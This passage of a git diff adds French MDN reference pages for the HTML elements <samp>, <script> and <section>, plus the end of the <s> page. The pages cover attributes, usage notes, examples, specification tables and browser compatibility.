+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','semantics.html#the-s-element','s element')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','text-level-semantics.html#the-s-element','s element')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.s")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{obsolete_inline}} {{HTMLElement("strike")}} qui était un ancien synonyme de <code>&lt;s&gt;</code>, désormais obsolète et qui ne doit plus être utilisé sur le Web</li>
+ <li>{{HTMLElement("del")}} qui est utilisé afin d'indiquer des données ou des portions de texte qui ont été supprimées</li>
+ <li>La propriété CSS {{cssxref("text-decoration-line")}} qui permet de contrôler l'aspect de la ligne utilisée sur le contenu de l'élément {{HTMLElement("s")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/samp/index.html b/files/fr/web/html/element/samp/index.html
new file mode 100644
index 0000000000..fb4733074b
--- /dev/null
+++ b/files/fr/web/html/element/samp/index.html
@@ -0,0 +1,167 @@
+---
+title: '<samp> : l''élément d''échantillon produit'
+slug: Web/HTML/Element/samp
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/samp
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;samp&gt;</code></strong> est un élément qui permet de représenter un résultat produit par un programme informatique. Il est généralement affiché avec la police à chasse fixe du navigateur (par exemple en Courier ou en Lucida Console).</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/samp.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut uniquement <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<p>Il est possible d'utiliser une règle CSS afin de surcharger la police par défaut utilisée par le navigateur pour les éléments <code>&lt;samp&gt;</code>. On rappelle ici que les préférences de l'utilisateur peuvent également prendre le pas sur les feuilles de styles des documents.</p>
+
+<p>Voici un exemple de règle permettant de surcharger la police par défaut pour ces éléments :</p>
+
+<pre class="brush: css">samp {
+  font-family: "Courier";
+}</pre>
+
+<div class="note">
+<p><strong>Note :</strong> S'il vous faut un élément qui serve de conteneur pour une valeur produite par le site ou l'application, vous devriez utiliser {{HTMLElement("output")}} plutôt que <code>&lt;samp&gt;</code>.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;
+  Texte normal.
+  &lt;samp&gt;Extrait de texte produit par un programme.&lt;/samp&gt;
+  Texte normal.
+&lt;/p&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h3 id="Sortie_incluant_une_entrée_utilisateur">Sortie incluant une entrée utilisateur</h3>
+
+<p>Il est possible d'imbriquer un élément {{HTMLElement("kbd")}} dans un bloc <code>&lt;samp&gt;</code> afin de représenter un fragment de texte saisi par l'utilisateur. Par exemple, si on souhaite retranscrire une session d'un terminal (sous Linux ou macOS), on pourra utiliser le code suivant.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;pre&gt;
+&lt;samp&gt;&lt;span class="prompt"&gt;jean@internets:~$&lt;/span&gt;&lt;kbd&gt;md5 -s "Coucou monde"&lt;/kbd&gt;
+MD5 ("Coucou monde") = b961d9fb0ef48ff051fb67625abd0022
+
+&lt;span class="prompt"&gt;jean@internets:~$&lt;/span&gt; &lt;span class="cursor"&gt;█&lt;/span&gt;&lt;/samp&gt;&lt;/pre&gt;</pre>
+
+<p>On notera l'utilisation de {{HTMLElement("span")}} qui permet de personnaliser l'apparence de certaines portions du texte (comme l'invite ou le curseur). On notera également l'utilisation de <code>&lt;kbd&gt;</code> afin de représenter la commande saisie par l'utilisateur dans l'invite.</p>
+
+<h4 id="CSS">CSS</h4>
+
+<p>Voici la feuille de style que nous utilisons :</p>
+
+<pre class="brush: css">.prompt {
+  color: #b00;
+}
+
+samp &gt; kbd {
+  font-weight: bold;
+}
+
+.cursor {
+  color: #00b;
+}</pre>
+
+<p>Cela permet simplement de colorer légèrement l'invite et le curseur. On utilise du gras pour le texte saisi au clavier.</p>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Sortie_incluant_une_entrée_utilisateur", 650, 120)}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">Contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément acceptant du <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-samp-element', '&lt;samp&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-samp-element', '&lt;samp&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.1', '&lt;samp&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.samp")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>On peut appliquer une règle CSS sur le sélecteur <code>samp</code> afin de remplacer la police de caractère par défaut du navigateur.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("code")}}</li>
+ <li>{{HTMLElement("kbd")}}</li>
+ <li>{{HTMLElement("pre")}}</li>
+ <li>{{HTMLElement("output")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/script/index.html b/files/fr/web/html/element/script/index.html
new file mode 100644
index 0000000000..a48aa5bc07
--- /dev/null
+++ b/files/fr/web/html/element/script/index.html
@@ -0,0 +1,206 @@
+---
+title: '<script> : l''élément de script'
+slug: Web/HTML/Element/script
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/script
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;script&gt;</code></strong> est utilisé pour intégrer ou faire référence à un script exécutable. Cela fait généralement référence à du code JavaScript mais ce peut également être un autre type de script (par exemple <a href="/fr/docs/Apprendre/WebGL">WebGL</a>).</p>
+
+<p>Les scripts sans attribut <code>async</code> ou <code>defer</code> sont chargés et exécutés immédiatement avant que le navigateur continue l'analyse de la page.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("async")}}</dt>
+ <dd>Cet attribut booléen indique si le navigateur doit, dans la mesure du possible, exécuter les scripts de manière asynchrone. <strong><em>Cet attribut ne doit pas être utilisé si l'attribut <code>src</code> est absent (c'est-à-dire pour les scripts « inline » déclarés dans les éléments), dans ce cas il n'aurait aucun effet.</em></strong></dd>
+ <dd>Par défaut, les navigateurs prennent l'hypothèse la plus pessimiste et chargent les scripts de façon synchrone (autrement dit, le comportement par défaut est <code>async="false"</code>) lors de l'analyse du document HTML.</dd>
+ <dd>Les scripts insérés dynamiquement (via {{domxref("document.createElement()")}}) sont exécutés de façon asynchrone par défaut. Pour activer le mode d'exécution synchrone, il faudra explicitement indiquer <code>async="false"</code>.<br>
+ <br>
+ Se référer au tableau de compatibilité ci-après pour les informations concernant la prise en charge par les navigateurs. Voir aussi la page sur <a href="/fr/docs/Games/Techniques/Async_scripts">les scripts asynchrones avec asm.js</a>.</dd>
+ <dt>{{htmlattrdef("crossorigin")}}</dt>
+ <dd>Les balises de <code>script</code> classiques enverront un minimum d'informations à {{domxref('GlobalEventHandlers.onerror', 'window.onerror')}} pour les scripts qui ne respectent pas les contrôles standard du <a href="/fr/docs/HTTP/Access_control_CORS">CORS</a>. Afin de disposer de plus de renseignements sur les erreurs pour les sites utilisant des domaines séparés pour des documents statiques, on pourra utiliser cet attribut. Voir <a href="/fr/docs/Web/HTML/Reglages_des_attributs_CORS">la page de réglages des attributs CORS</a> pour plus d'explications quant aux valeurs valides.</dd>
+ <dt>{{htmlattrdef("defer")}}</dt>
+ <dd>Cet attribut booléen permet d'indiquer au navigateur que le script doit être exécuté après l'analyse du document et avant l'évènement {{event("DOMContentLoaded")}}. <strong><em>Cet attribut ne doit pas être utilisé si l'attribut <code>src</code> est absent (c'est-à-dire pour les scripts contenus déclarés dans les éléments), dans ce cas il n'aurait aucun effet.</em></strong> Pour obtenir un effet similaire avec les scripts insérés de façon dynamique, on utilisera explicitement <code>async=false</code>. Les scripts qui possèdent un attribut <code>defer</code> seront exécutés dans l'ordre dans lequel ils apparaissent dans le document.</dd>
+ <dd>Les scripts qui utilisent l'attribut <code>defer</code> empêche le déclenchement de l'évènement <code>DOMContentLoaded</code> tant que le script n'a pas été chargé et que son évaluation n'est pas terminée.</dd>
+ <dt>{{htmlattrdef("integrity")}}</dt>
+ <dd>Cet attribut contient des métadonnées que l'agent utilisateur peut vérifier afin de contrôler qu'une ressource téléchargée n'a pas été modifiée de façon frauduleuse. Pour plus d'informations, consulter <a href="/fr/docs/Web/Security/Subresource_Integrity">la page relative à l'intégrité des sous-ressources</a>.</dd>
+ <dt>{{htmlattrdef("nomodule")}}</dt>
+ <dd>Cet attribut booléen indique que le script ne doit pas être exécuté dans le navigateur si celui prend en charge <a href="https://tech.mozfr.org/post/2015/08/21/ES6-en-details-%3A-les-modules">les modules ES6</a>. En pratique, de tels scripts seront utilisés pour couvrir les cas où le navigateur ne prend pas en charge les modules JavaScript.</dd>
+ <dt>{{htmlattrdef("nonce")}}</dt>
+ <dd>Un <em>nonce</em> cryptographique utilisé pour inscrire les scripts en ligne sur une liste blanche pour la règle <code>script-src</code> de la CSP (<em>Content Security Policy</em>). Le serveur doit générer un nonce unique chaque fois qu'il transmet une règle de sécurité. Ce nonce ne doit pas pouvoir être deviné car sinon, il devient trivial d'outrepasser la règle de sécurité.</dd>
+ <dt id="attr-referrer">{{htmlattrdef("referrerpolicy")}}</dt>
+ <dd>Une chaîne de caractères qui indique le référent (<em>referrer</em>) à utiliser lors de la récupération du script :
+ <ul>
+  <li><code>no-referrer</code> signifie que l'en-tête {{HTTPHeader("Referer")}} ne sera pas envoyé.</li>
+  <li><code>no-referrer-when-downgrade</code> signifie qu'aucune en-tête <code>Referrer</code> ne sera envoyé lorsqu'on navigue vers une origine qui n'utilise pas TLS (HTTPS). C'est le comportement par défaut de l'agent utilisateur.</li>
+  <li><code>origin</code> signifie que le référent sera l'origine de la page (c'est-à-dire son schéma, son hôte et le port utilisé).</li>
+  <li><code>origin-when-cross-origin</code> signifie que les navigations vers d'autres origines seront limitées aux schémas, hôtes et ports. Les navigations sur la même origine inclueront le chemin explicite du référent.</li>
+  <li><code>same-origin</code> un référent sera envoyé pour <a href="/fr/docs/Web/JavaScript/Same_origin_policy_for_JavaScript">les origines du même site</a> mais les requêtes multi-origines ne contiendront pas d'informations de référent.</li>
+  <li><code>strict-origin</code> seule l'origine du document est envoyée comme référent lorsque le protocole de sécurité est le même (HTTPS→HTTPS). L'origine n'est pas envoyée lorsque la destination est moins sécurisée (HTTPS→HTTP).</li>
+  <li><code>strict-origin-when-cross-origin</code> : l'URL complète est envoyée pour les requêtes de même origine, seule l'origine est envoyée lorsque le protocole de sécurité est le même (HTTPS→HTTPS) et aucun en-tête n'est envoyé pour une destination moins sécurisée (HTTPS→HTTP).</li>
+  <li><code>unsafe-url</code> signifie que le référent incluera l'origine et le chemin (mais pas le fragment, le mot de passe ou le nom utilisateur). Cette valeur n'est pas sûre car elle peut entraîner des fuites d'origine ou de chemin provenant de ressources sécurisées avec TLS vers des origines insécures.</li>
+ </ul>
+
+ <p>Utiliser une chaîne vide (<code>""</code>) correspond à la valeur par défaut et à la valeur utilisée si <code>referrerpolicy</code> n'est pas pris en charge. Si cet attribut n'est pas explicitement défini sur l'élément <code>&lt;script&gt;</code>, ce dernier respectera la politique défine à un niveau supérieur (sur le document ou sur le domaine). Si une telle politique n'est pas disponible, la chaîne vide sera considérée comme équivalente à <code>no-referrer-when-downgrade</code>.</p>
+ </dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>Cet attribut définit l'URI d'un script externe. Cela peut être utilisé pour insérer des scripts autrement qu'en les insérant à même le document. <strong><em>Les éléments <code>script</code> avec un attribut <code>src</code> défini ne doivent pas avoir de script compris dans leurs balises. Cela peut causer un comportement inattendu où le contenu du fichier référencé est chargé mais où le contenu de l'élément est ignoré.</em></strong></dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>
+ <p>Cet attribut indique le type de script. La valeur de cet attribut peut appartenir à l'une de ces catégories :</p>
+
+ <ul>
+  <li><strong>Correspondant à un type MIME JavaScript ou absent :</strong> Cela indique que le script est en JavaScript. La spécification HTML5 conseille aux auteurs d'omettre cet attribut plutôt que de fournir un type MIME redondant. Pour les navigateurs plus anciens, cela indiquait le langage de script du code embarqué. Les types MIME correspondant à JavaScript sont <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#JavaScript_types">énumérés dans la spécification</a>.</li>
+  <li><strong><code>module</code> :</strong> Le code sera traité comme un module JavaScript. Le traitement du script n'est pas affecté par les attributs <code>charset</code> et <code>defer</code>. Pour plus d'informations sur l'utilisation des modules, voir le guide sur <a href="/fr/docs/Web/JavaScript/Guide/Modules">les modules JavaScript</a>.</li>
+  <li><strong>Toute autre valeur :</strong> Le contenu embarqué est considéré comm un bloc de donnée et ne sera pas traité par le navigateur. Les développeurs doivent utiliser un type MIME valide qui n'est pas un type MIME JavaScript afin d'indiquer de tels blocs de donnée. Dans ce cas, l'attribut <code>src</code> sera ignoré.</li>
+ </ul>
+
+ <div class="note">
+ <p><strong>Note :</strong> Avec Firefox, on pouvait indiquer la version JavaScript d'un élément <code>&lt;script&gt;</code> en incluant un paramètre non-standard <code>version</code> à l'intérieur de <code>type</code> (ex. <code>type="text/javascript;version=1.8"</code>). Cette spécificité a été retirée avec Firefox 59 (cf. {{bug(1428745)}}).</p>
+ </div>
+ </dd>
+</dl>
+
+<h3 id="Attributs_dépréciés">Attributs dépréciés</h3>
+
+<dl>
+ <dt>{{htmlattrdef("charset")}} {{Deprecated_inline}}</dt>
+ <dd>Si cet attribut est présent, sa valeur doit correspondre (quelle que soit la casse) à "<code>utf-8"</code>. Cet attribut est superflu car les documents doivent utiliser UTF-8 et car les éléments <code>script</code> héritent de l'encodage du document.</dd>
+ <dt>{{htmlattrdef("language")}} {{Deprecated_inline}}</dt>
+ <dd>Comme l'attribut <code>type</code>, cet attribut spécifie le langage de script utilisé. Cependant, contrairement à l'attribut <code>type</code> les valeurs possibles de cet attribut n'ont jamais été normalisées. Il est recommandé d'utiliser l'attribut <code>type</code> plutôt que celui-là.</dd>
+</dl>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Le script doit être servi avec le type MIME <code>text/javascript</code>. Cependant, les navigateurs appliquent cette règle avec une certaine flexibilité et ne bloquent que si le script est servi avec un type image (<code>image/*</code>), vidéo (<code>video/*</code>) ou audio (<code>audio/*</code>) ou CSV (<code>text/csv</code>). Si le script est bloqué, un évènement {{event("error")}} sera déclenché sur l'élément, sinon, l'évènement {{event("load")}} sera envoyé.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<pre class="brush: html">&lt;!-- HTML4 et (x)HTML --&gt;
+&lt;script type="text/javascript" src="javascript.js"&gt;&lt;/script&gt;
+
+&lt;!-- HTML5 --&gt;
+&lt;script src="javascript.js"&gt;&lt;/script&gt;
+</pre>
+
+<h3 id="Utilisation_des_modules_et_d'une_alternative">Utilisation des modules et d'une alternative</h3>
+
+<p>Les navigateurs qui prennent en charge le type <code>module</code> prennent également en charge un attribut <code>nomodule</code> qui permet aux navigateurs qui ne gèrent pas les modules d'utiliser un autre script.</p>
+
+<pre class="brush: html">&lt;script type="module" src="main.mjs"&gt;&lt;/script&gt;
+&lt;script nomodule src="fallback.js"&gt;&lt;/script&gt;
+</pre>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_m.C3.A9ta-donn.C3.A9es">contenu de méta-données</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Script dynamique tel que <code>text/javascript</code>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément acceptant du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_m.C3.A9ta-donn.C3.A9es">contenu de méta-données</a> ou tout élément acceptant du <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLScriptElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "scripting.html#the-script-element", "&lt;script&gt;")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Retrait de l'attribut {{HTMLAttrxRef("charset", "script")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.3", "semantics-scripting.html#the-script-element", "&lt;script&gt;")}}</td>
+   <td>{{Spec2("HTML5.3")}}</td>
+   <td>Retrait de l'attribut {{HTMLAttrxRef("charset", "script")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.2", "semantics-scripting.html#the-script-element", "&lt;script&gt;")}}</td>
+   <td>{{Spec2("HTML5.2")}}</td>
+   <td>Ajout de la valeur <code>module</code> pour {{HTMLAttrxRef("type", "script")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "semantics-scripting.html#the-script-element", "&lt;script&gt;")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "scripting-1.html#script", "&lt;script&gt;")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML4.01", "interact/scripts.html#h-18.2.1", "&lt;script&gt;")}}</td>
+   <td>{{Spec2("HTML4.01")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Subresource Integrity", "#htmlscriptelement", "&lt;script&gt;")}}</td>
+   <td>{{Spec2("Subresource Integrity")}}</td>
+   <td>Ajout de l'attribut {{HTMLAttrxRef("integrity", "script")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.script",2)}}</p>
+
+<h3 id="Notes_de_compatibilité">Notes de compatibilité</h3>
+
+<p>Pour les anciens navigateurs qui ne prennent pas en charge l'attribut <code>async</code> attribute, les scripts insérés lors de l'analyse (<em>parsing</em>) bloquent l'analyseur, les scripts insérés par d'autres scripts s'exécutent en asynchrone sous IE et WebKit et en synchrone sous Opera et sous Firefox pour les versions antérieures à Firefox 4.0.</p>
+
+<p>Sous Firefox 4.0, la propriété <code>async</code> du DOM vaut <code>true</code> par défaut pour les scripts créés avec <code>document.createElement("script").async</code> afin que le comportement par défaut corresponde au comportement d'IE et de WebKit. Afin que les scripts insérés par des scripts externes soient lancés dans l'ordre d'insertion, on définira <code>.async=false</code> pour les scripts dont on souhaite conserver l'ordre d'exécution.</p>
+
+<p><code>document.write()</code> ne doit jamais être appelé sur un script asynchrone avec <code>async</code>. Sous Gecko 1.9.2, si on appelle <code>document.write()</code>, cela aura un effet imprévisible. Pour Gecko 2.0, appeler <code>document.write()</code> depuis un script asynchrone n'aura aucun effet (en dehors d'afficher un message d'erreur dans la console).</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("document.currentScript")}}</li>
+ <li><a href="/fr/docs/Web/HTML/Formats_date_heure_HTML">Les formats de date et d'heure utilisés en HTML</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Modules">Guide sur les modules JavaScript</a></li>
+ <li><a href="https://pie.gd/test/script-link-events/">Tableau de compatibilité de Ryan Grove pour les évènements liés aux éléments <code>&lt;script&gt;</code> et <code>&lt;link&gt;</code></a></li>
+ <li><a href="https://flaviocopes.com/javascript-async-defer/">Un article de Flavio Copes sur le chargement de ressources JavaScript et les différences entre <code>async</code> et <code>defer</code> (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/html/element/section/index.html b/files/fr/web/html/element/section/index.html
new file mode 100644
index 0000000000..e7af5559a7
--- /dev/null
+++ b/files/fr/web/html/element/section/index.html
@@ -0,0 +1,123 @@
+---
+title: '<section> : l''élément de section générique'
+slug: Web/HTML/Element/section
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/section
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;section&gt;</code></strong> représente une section générique d'un document, par exemple un groupe de contenu thématique. Une section commence généralement avec un titre.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/section.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Ainsi, un menu de navigation devrait être délimité par un élément {{htmlelement("nav")}} mais une liste de résultat de recherche, qui ne dispose pas d'élément spécifique pour être représentée, pourrait être englobée dans un élément <code>&lt;section&gt;</code>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Si le contenu de l'élément devrait être considéré comme un fragment indépendant (qui puisse être séparée du reste du contenu), l'élément {{HTMLElement("article")}} sera plus pertinent.</p>
+</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut uniquement <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<ul>
+ <li>Chaque élément <code>&lt;section&gt;</code> devrait être identifié, généralement grâce à un élément de titre ({{HTMLElement('h1')}}-{{HTMLElement('h6')}}) qui est un élément fils de l'élément <code>&lt;section&gt;</code>.</li>
+ <li>S'il est plus pertinent que le contenu soit à part, on utilisera l'élément {{HTMLElement("article")}}.</li>
+ <li>L'élément <code>&lt;section&gt;</code> ne doit pas être utilisé comme un conteneur générique : c'est le rôle de {{HTMLElement("div")}}, notamment lorsque le sectionnement du contenu sert uniquement la mise en forme. Pour savoir lequel utiliser, on peut se demander si la section doit apparaître sur le plan du document : si oui, on utilisera <code>&lt;section&gt;</code>, sinon, <code>&lt;div&gt;</code>.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;section&gt;
+  &lt;h1&gt;Titre&lt;/h1&gt;
+  &lt;p&gt;Du contenu sur un thème pour ce titre&lt;/p&gt;
+&lt;/section&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","120")}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_sectionnant">contenu sectionnant</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a>. Un élément <code>&lt;section&gt;</code> ne peut pas être le descendant d'un élément {{HTMLElement("address")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>{{ARIARole("alert")}}, {{ARIARole("alertdialog")}}, {{ARIARole("application")}}, {{ARIARole("banner")}}, {{ARIARole("complementary")}}, {{ARIARole("contentinfo")}}, {{ARIARole("dialog")}}, {{ARIARole("document")}}, {{ARIARole("feed")}}, {{ARIARole("log")}}, {{ARIARole("main")}}, {{ARIARole("marquee")}}, {{ARIARole("navigation")}}, {{ARIARole("search")}}, {{ARIARole("status")}}, {{ARIARole("tabpanel")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
